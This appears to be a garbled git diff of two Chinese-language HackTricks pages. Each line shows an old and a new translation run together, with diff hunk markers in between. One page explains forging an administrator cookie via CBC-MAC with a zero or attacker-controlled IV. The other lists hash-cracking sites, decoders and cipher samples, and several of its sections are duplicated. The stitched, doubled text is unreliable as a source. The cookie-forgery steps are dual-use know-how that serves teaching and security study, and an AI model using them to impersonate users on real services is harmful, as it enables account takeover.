* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# CBC # CBC
如果**cookie** **仅仅**是**用户名**(或者 cookie 的第一部分是用户名),并且你想冒充用户名“**admin**”。那么,你可以创建用户名**"bdmin"** 并**暴力破解** cookie 的**第一个字节**。 如果**cookie**只是**用户名**或cookie的第一部分是用户名而您想要冒充用户名"**admin**"。那么,您可以创建用户名**"bdmin"**并**暴力破解**cookie的**第一个字节**。
# CBC-MAC # CBC-MAC
在密码学中,**密码块链接消息认证码****CBC-MAC**)是一种从块密码构造消息认证码的技术。消息使用某种块密码算法以 CBC 模式加密,以创建**一系列块,使得每个块都依赖于前一个块的正确加密**。这种相互依赖确保对明文**任何**位的**改变**都会导致**最终加密块**以无法预测或抵消的方式**改变**,除非知道块密码的密钥。 在密码学中,**密码块链接消息认证码****CBC-MAC**)是一种从块密码构造消息认证码的技术。消息使用某种块密码算法在CBC模式下加密以创建一个**块链,使得每个块依赖于前一个块的正确加密**。这种相互依赖确保对**任何**明文**位**的更改将导致**最终加密块**以一种不能预测或抵消的方式发生**更改**,而不知道块密码的密钥。
要计算消息 m 的 CBC-MAC人们使用零初始化向量以 CBC 模式加密 m并保留最后一个块。下图概述了使用秘密密钥 k 和块密码 E 计算由块![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)组成的消息的 CBC-MAC 的计算: 要计算消息m的CBC-MAC需要使用零初始化向量在CBC模式下加密m并保留最后一个块。以下图示了使用秘密密钥k和块密码E计算消息包含块的CBC-MAC![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)的计算过程
![CBC-MAC 结构 (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) ![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
# 漏洞 # 漏洞
通常使用的 CBC-MAC **IV 是 0**。\ 使用CBC-MAC时通常使用的**IV为0**。\
这是一个问题,因为两个已知消息(`m1` 和 `m2`)将独立生成两个签名(`s1` 和 `s2`)。所以 这是一个问题,因为独立的2个已知消息`m1`和`m2`将生成2个签名`s1`和`s2`)。因此
* `E(m1 XOR 0) = s1` * `E(m1 XOR 0) = s1`
* `E(m2 XOR 0) = s2` * `E(m2 XOR 0) = s2`
然后,由 m1 和 m2 连接m3组成的消息将生成两个签名s31 和 s32 然后,由m1和m2连接而成的消息m3将生成2个签名s31和s32
* `E(m1 XOR 0) = s31 = s1` * `E(m1 XOR 0) = s31 = s1`
* `E(m2 XOR s1) = s32` * `E(m2 XOR s1) = s32`
**这是可以在不知道加密密钥的情况下计算出来的。** **这是可以在不知道加密密钥的情况下计算的。**
想象你正在以**8字节**块加密名字**Administrator** 想象一下,您正在以**8字节**块加密名称**Administrator**
* `Administ` * `Administ`
* `rator\00\00\00` * `rator\00\00\00`
你可以创建一个叫做**Administ**的用户名m1并检索签名s1。\ 您可以创建一个名为**Administ**m1的用户名并检索签名s1。\
然后,你可以创建一个叫做 `rator\00\00\00 XOR s1` 的用户名。这将生成 `E(m2 XOR s1 XOR 0)`,即 s32。\ 然后,您可以创建一个名为`rator\00\00\00 XOR s1`结果的用户名。这将生成`E(m2 XOR s1 XOR 0)`,即s32。\
现在,你可以使用 s32 作为完整名字**Administrator**的签名。 现在,您可以使用s32作为完整名称**Administrator**的签名。
### 总结 ### 总结
1. 获取用户名**Administ**m1的签名 s1 1. 获取用户名**Administ**m1的签名即s1
2. 获取用户名**rator\x00\x00\x00 XOR s1 XOR 0** 的签名是 s32**。** 2. 获取用户名**rator\x00\x00\x00 XOR s1 XOR 0**的签名为s32**。**
3. 将 cookie 设置为 s32它将是用户**Administrator**的有效 cookie。 3. 将cookie设置为s32它将成为用户**Administrator**的有效cookie。
# 攻击控制 IV # 攻击控制IV
如果你可以控制使用的 IV攻击可能非常简单。\ 如果您可以控制使用的IV则攻击可能会变得非常容易。\
如果 cookie 只是加密的用户名,为了冒充用户“**administrator**”,你可以创建用户“**Administrator**”,并将得到它的 cookie。\ 如果cookie只是加密的用户名要冒充用户"**administrator**",您可以创建用户"**Administrator**"并获取其cookie。\
现在,如果你可以控制 IV你可以改变 IV 的第一个字节,使得 **IV\[0] XOR "A" == IV'\[0] XOR "a"** 并为用户**Administrator**重新生成 cookie。这个 cookie 将有效地**冒充**初始**IV**下的用户**administrator**。 现在,如果您可以控制IV您可以更改IV的第一个字节使得**IV\[0] XOR "A" == IV'\[0] XOR "a"**,并重新生成用户**Administrator**的cookie。这个cookie将有效地**冒充**初始**IV**下的用户**administrator**。
# 参考资料 # 参考
更多信息在 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) 更多信息请参阅[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,141 +2,151 @@
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果你想在 **HackTricks** 上看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) - 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) - 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family) - 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 上关注我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享的黑客技巧。 - 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享的黑客技巧。
</details> </details>
## 在线哈希数据库 ## 在线哈希数据库
* _**谷歌搜索**_ - _**谷歌搜索**_
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
* [https://crackstation.net/](https://crackstation.net) - [https://crackstation.net/](https://crackstation.net)
* [https://md5decrypt.net/](https://md5decrypt.net) - [https://md5decrypt.net/](https://md5decrypt.net)
* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com) - [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
* [https://gpuhash.me/](https://gpuhash.me) - [https://gpuhash.me/](https://gpuhash.me)
* [https://hashes.org/search.php](https://hashes.org/search.php) - [https://hashes.org/search.php](https://hashes.org/search.php)
* [https://www.cmd5.org/](https://www.cmd5.org) - [https://www.cmd5.org/](https://www.cmd5.org)
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## 自动解密工具 ## 魔术自动解密器
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic 模块) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)(魔术模块)
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
## 编码器 ## 编码器
大多数编码数据可以用这两个资源解码: 大多数编码数据可以使用以下两个资源解码:
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### 替换自动解密工具 ### 替换自动解密
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
* [https://quipqiup.com/](https://quipqiup.com) - 非常好! - [https://quipqiup.com/](https://quipqiup.com) - 非常好!
#### 凯撒 - ROTx 自动解密工具 #### 凯撒密码 - ROTx 自动解密器
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
#### 阿特巴什密码 #### 阿特巴什密码
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
### 基础编码自动解密工具 ### 基础编码自动解密
使用以下工具检查所有这些基础编码[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) 使用以下链接检查所有这些基础[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
* **Ascii85** - **Ascii85**
* `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
* **Base26** \[_A-Z_] - **Base26** \[_A-Z_]
* `BQEKGAHRJKHQMVZGKUXNT` - `BQEKGAHRJKHQMVZGKUXNT`
* **Base32** \[_A-Z2-7=_] - **Base32** \[_A-Z2-7=_]
* `NBXWYYLDMFZGCY3PNRQQ====` - `NBXWYYLDMFZGCY3PNRQQ====`
* **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
* `pbzsaamdcf3gna5xptoo====` - `pbzsaamdcf3gna5xptoo====`
* **Base32 Geohash** \[_0-9b-hjkmnp-z_] - **Base32 Geohash** \[_0-9b-hjkmnp-z_]
* `e1rqssc3d5t62svgejhh====` - `e1rqssc3d5t62svgejhh====`
* **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
* `D1QPRRB3C5S62RVFDHGG====` - `D1QPRRB3C5S62RVFDHGG====`
* **Base32 Extended Hexadecimal** \[_0-9A-V_] - **Base32 Extended Hexadecimal** \[_0-9A-V_]
* `D1NMOOB3C5P62ORFDHGG====` - `D1NMOOB3C5P62ORFDHGG====`
* **Base45** \[_0-9A-Z $%\*+-./:_] - **Base45** \[_0-9A-Z $%\*+-./:_]
* `59DPVDGPCVKEUPCPVD` - `59DPVDGPCVKEUPCPVD`
* **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
* `2yJiRg5BF9gmsU6AC` - `2yJiRg5BF9gmsU6AC`
* **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
* `2YiHqF5bf9FLSt6ac` - `2YiHqF5bf9FLSt6ac`
* **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
* `pyJ5RgnBE9gm17awU` - `pyJ5RgnBE9gm17awU`
* **Base62** \[_0-9A-Za-z_] - **Base62** \[_0-9A-Za-z_]
* `g2AextRZpBKRBzQ9` - `g2AextRZpBKRBzQ9`
* **Base64** \[_A-Za-z0-9+/=_] - **Base64** \[_A-Za-z0-9+/=_]
* `aG9sYWNhcmFjb2xh` - `aG9sYWNhcmFjb2xh`
* **Base67** \[_A-Za-z0-9-_.!\~\_] - **Base67** \[_A-Za-z0-9-_.!\~\_]
* `NI9JKX0cSUdqhr!p` - `NI9JKX0cSUdqhr!p`
* **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
* `BQ%]q@psCd@rH0l` - `BQ%]q@psCd@rH0l`
* **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
* `<~BQ%]q@psCd@rH0l~>` - `<~BQ%]q@psCd@rH0l~>`
* **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
* `Xm4y`V\_|Y(V{dF>\` - `Xm4y`V\_|Y(V{dF>\`
* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__] - **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__]
* `Xm4y|V{~Y+V}dF?` - `Xm4y|V{~Y+V}dF?`
* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
* `frDg[*jNN!7&BQM` - `frDg[*jNN!7&BQM`
* **Base100** \[] - **Base100** \[]
* `👟👦👣👘👚👘👩👘👚👦👣👘` - `👟👦👣👘👚👘👩👘👚👦👣👘`
* **Base122** \[] - **Base122** \[]
* `4F ˂r0Xmvc` - `4F ˂r0Xmvc`
* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
* `MIc3KiXa+Ihz+lrXMIc3KbCC` - `MIc3KiXa+Ihz+lrXMIc3KbCC`
* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
* `DmPsv8J7qrlKEoY7` - `DmPsv8J7qrlKEoY7`
* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
* `kLD8iwKsigSalLJ5` - `kLD8iwKsigSalLJ5`
* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
* `ayRiIo1gpO+uUc7g` - `ayRiIo1gpO+uUc7g`
* **ESAB46** \[] - **ESAB46** \[]
* `3sHcL2NR8WrT7mhR` - `3sHcL2NR8WrT7mhR`
* **MEGAN45** \[] - **MEGAN45** \[]
* `kLD8igSXm2KZlwrX` - `kLD8igSXm2KZlwrX`
* **TIGO3FX** \[] - **TIGO3FX** \[]
* `7AP9mIzdmltYmIP9mWXX` - `7AP9mIzdmltYmIP9mWXX`
* **TRIPO5** \[] - **TRIPO5** \[]
* `UE9vSbnBW6psVzxB` - `UE9vSbnBW6psVzxB`
* **FERON74** \[] - **FERON74** \[]
* `PbGkNudxCzaKBm0x` - `PbGkNudxCzaKBm0x`
* **GILA7** \[] - **GILA7** \[]
* `D+nkv8C1qIKMErY1` - `D+nkv8C1qIKMErY1`
* **Citrix CTX1** \[] - **Citrix CTX1** \[]
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 死链:[https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) [http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_] ### HackerizeXS \[_╫Λ↻├☰┏_]
``` ```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ ╫☐↑Λ↻Λ┏Λ↻☐↑Λ
``` ```
### 摩尔斯电码 * [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### Morse
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
### 摩尔斯
``` ```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
``` ```
### UU编码器 * [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 死链: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
``` ```
begin 644 webutils_pl begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@ -147,7 +157,7 @@ end
``` ```
* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) * [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XX编码器 ### XXEncoder
``` ```
begin 644 webutils_pl begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
@ -156,7 +166,11 @@ end
``` ```
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) * [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### Y编码器 ### YEncoder
* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
``` ```
=ybegin line=128 size=28 name=webutils_pl =ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk ryvkryvkryvkryvkryvkryvkryvk
@ -172,11 +186,17 @@ ryvkryvkryvkryvkryvkryvkryvk
``` ```
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) * [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85 ### ASCII85
``` ```
<~85DoF85DoF85DoF85DoF85DoF85DoF~> <~85DoF85DoF85DoF85DoF85DoF85DoF~>
``` ```
### 德沃夏克键盘 * [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak键盘
``` ```
drnajapajrna drnajapajrna
``` ```
@ -184,27 +204,27 @@ drnajapajrna
### A1Z26 ### A1Z26
字母转换为它们的数 字母对应它们的数字
``` ```
8 15 12 1 3 1 18 1 3 15 12 1 8 15 12 1 3 1 18 1 3 15 12 1
``` ```
### 仿射密码编码 ### 仿射密码编码
字母转数字 `(ax+b)%26`_a_ 和 _b_ 是密钥_x_ 是字母)并将结果转回字母 字母转换为数字 `(ax+b)%26`_a_ 和 _b_ 是密钥_x_ 是字母),然后将结果转换回字母
``` ```
krodfdudfrod krodfdudfrod
``` ```
### 短信验证 ### 短信
**Multitap** 通过重复数字来[替换字母](https://www.dcode.fr/word-letter-change),这些数字由手机[键盘密码](https://www.dcode.fr/phone-keypad-cipher)上对应的按键代码定义这种模式在编写短信时使用)。\ **Multitap** [通过在移动电话键盘上定义的相应键代码重复数字来替换字母](https://www.dcode.fr/word-letter-change)(在编写短信时使用此模式)。\
例如2=A, 22=B, 222=C, 3=D...\ 例如2=A, 22=B, 222=C, 3=D...\
你可以识别这种代码,因为你会看到**多个数字重复**。 您可以识别此代码,因为您会看到**多个重复的数字**。
你可以在此解码这个代码:[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) 您可以在以下链接中解码此代码:[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### 培根密码 ### 培根密码
将每个字母替换为4个A或B或1和0 将每个字母替换为4个A或B或1和0
``` ```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
@ -215,26 +235,30 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
## 压缩 ## 压缩
**Raw Deflate** 和 **Raw Inflate**你可以在Cyberchef中找到它们可以在没有头部的情况下压缩和解压数据。 **原始压缩** 和 **原始解压**(您可以在 Cyberchef 中找到)可以在没有标头的情况下压缩和解压数据。
## 简单加密 ## 简单加密
### XOR - 自动求解 ### 异或 - 自动解密
* [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) * [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid ### Bifid
需要一个关键词 需要关键词
``` ```
fgaargaamnlunesuneoa fgaargaamnlunesuneoa
``` ```
### 维吉尼亚 ### 维吉尼亚密码
需要一个关键词 需要一个关键词
``` ```
wodsyoidrods wodsyoidrods
``` ```
* [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## 强加密 ## 强加密
### Fernet ### Fernet
@ -249,21 +273,20 @@ Key:
``` ```
